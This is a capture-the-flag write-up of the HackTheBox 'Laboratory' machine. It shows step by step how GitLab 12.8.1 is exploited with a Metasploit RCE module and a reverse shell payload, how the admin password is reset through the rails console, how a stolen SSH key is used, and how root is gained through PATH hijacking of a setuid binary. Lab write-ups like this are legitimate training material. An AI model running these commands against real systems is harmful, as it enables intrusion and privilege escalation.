Welcome back to my HackTheBox series! This box was an interesting one, let’s get into it…


Jump to Section


First, (per usual) I run Nmap to see what’s listenin’ on the box.

└─$ sudo nmap -n -sS -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-22 00:08 EST
Nmap scan report for
Host is up (0.095s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn:
|_  http/1.1

From the output, I can see a DNS entry for git.laboratory.htb. Let’s check that out.

Quickly add this domain to the /etc/hosts file…

sudo vi /etc/hosts
---       localhost       kali    git.laboratory.htb

Now let’s navigate to git.laboratory.htb, register a new user and then login as that user. While we’re here, click on the question mark in the top right and then click the “Help” link. Here we can see a version for GitLab of “12.8.1”. With this information, a quick google search yields an exploit, courtesy of Metasploit.


Fire up Metasploit and search for “GitLab”. This produces a RCE module that looks like it should suit our needs.

use exploit/multi/http/gitlab_file_read_rce

Once you’ve loaded up the gitlab_file_read_rce Metasploit module, set the following options…

  • set USERNAME and PASSWORD to your GitLab credentials you registered earlier
  • set RHOSTS to the target host (
  • set RPORT to 443 (gitlab is SSL)
  • set SSL to “yes”
  • set VHOST to “git.laboratory.htb”
  • set LHOST to your source host
  • set LPORT to whatever you like
  • set payload to generic/shell_reverse_tcp (meterpreter not supported)

These options, set as described, are shown below…

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name             Current Setting                                               Required  Description
   ----             ---------------                                               --------  -----------
   DEPTH            15                                                            yes       Define the max traversal depth
   PASSWORD         mikemike                                                      no        The password for the specified username
   Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            443                                                           yes       The target port (TCP)
   SECRETS_PATH     /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml  yes       The path to the secrets.yml file
   SECRET_KEY_BASE                                                                no        The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
   SSL              true                                                          no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /users/sign_in                                                yes       The path to the vulnerable application
   USERNAME         mike                                                          no        The username to authenticate as
   VHOST            git.laboratory.htb                                            no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Bombs Away! (exploit -j)

msf6 exploit(multi/http/gitlab_file_read_rce) >
[*] Started reverse TCP handler on
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user mike
[*] Created project /mike/DaCcZDf0
[*] Created project /mike/b7GzMpia
[*] Created issue /mike/DaCcZDf0/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20210122001827_default_10.10.10.216_gitlab.secrets_310794.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /mike/DaCcZDf0
[*] Deleted project /mike/DaCcZDf0
[*] Attempting to delete project /mike/b7GzMpia
[*] Deleted project /mike/b7GzMpia
[*] Command shell session 1 opened ( -> at 2021-01-22 00:18:31 -0500

Huzzah! A shell. Let’s take a peek inside…

msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -i 1
[*] Starting interaction with 1...



This is where (imo) it starts to get a little tricky…

First, I’ll upgrade my shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Now, let’s take a look at /etc/passwd.

cat /etc/passwd

From this output, I get the feeling theres some GitLab or container (I see the word “registry”) machinations going on here.

a bunch of googling later… I find a GitLab-related console I can use to reset a user password. Hopping into said console…

gitlab-rails console -e production

Here I can see a user named “Dexter”. (Dexter’s Laboratory anyone?)

user = User.where(id: 1).first
#<User id:1 @dexter>

Following these password reset instructions

user.password = 'password'
user.password = 'password'
user.password_confirmation = 'password'
user.password_confirmation = 'password'
Enqueued ActionMailer::DeliveryJob (Job ID: 1c391664-161d-44cf-9477-2e31991979db) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fbf6a8537a8 @uri=#<URI::GID gid://gitlab/User/1>>

I’ve now changed poor Dexter’s password and can return to the GitLab portal and log in as Dexter himself. Once in as Dexter, I navigate to his Projects and check out the “CONFIDENTIAL” repo. Inside this repo, I see a .ssh directory with a private key. Copy these down to your ~/.ssh directory and make sure /etc/hosts has the following entry.    laboratory

You can then SSH as dexter.

ssh dexter@laboratory


Now as dexter, I am on the hunt for a root shell. Using my go to linux priv-esc guide, I find a suspicious binary in /usr/local/bin/docker-security. Another, more specific command to find this would be…

find / -perm -4000 2>/dev/null

Ok, so what does docker-security do? Running it has no obvious output. Hmm… It’s definitely an ELF linux binary (try running file)… Let’s try running ltrace and see if that gives us anything…

dexter@laboratory:/usr/local/bin$ ltrace ./docker-security
setuid(0)                                                                                     = -1
setgid(0)                                                                                     = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                        = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                        = 256
+++ exited (status 0) +++

So it appears the binary is making itself root and then trying to chmod some stuff. It’s chmod can be our chmod though! That makes sense right? If we create our own binary named “chmod”, modify the PATH variable to include the path to our new chmod binary and then run docker-security again, we can then run commands as root! Fun PATH hijacking stuff…

cd /tmp
echo "/bin/bash" > chmod
chmod +x chmod
echo $PATH
export PATH=/tmp:$PATH


root@laboratory:/usr/local/bin# whoami;id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)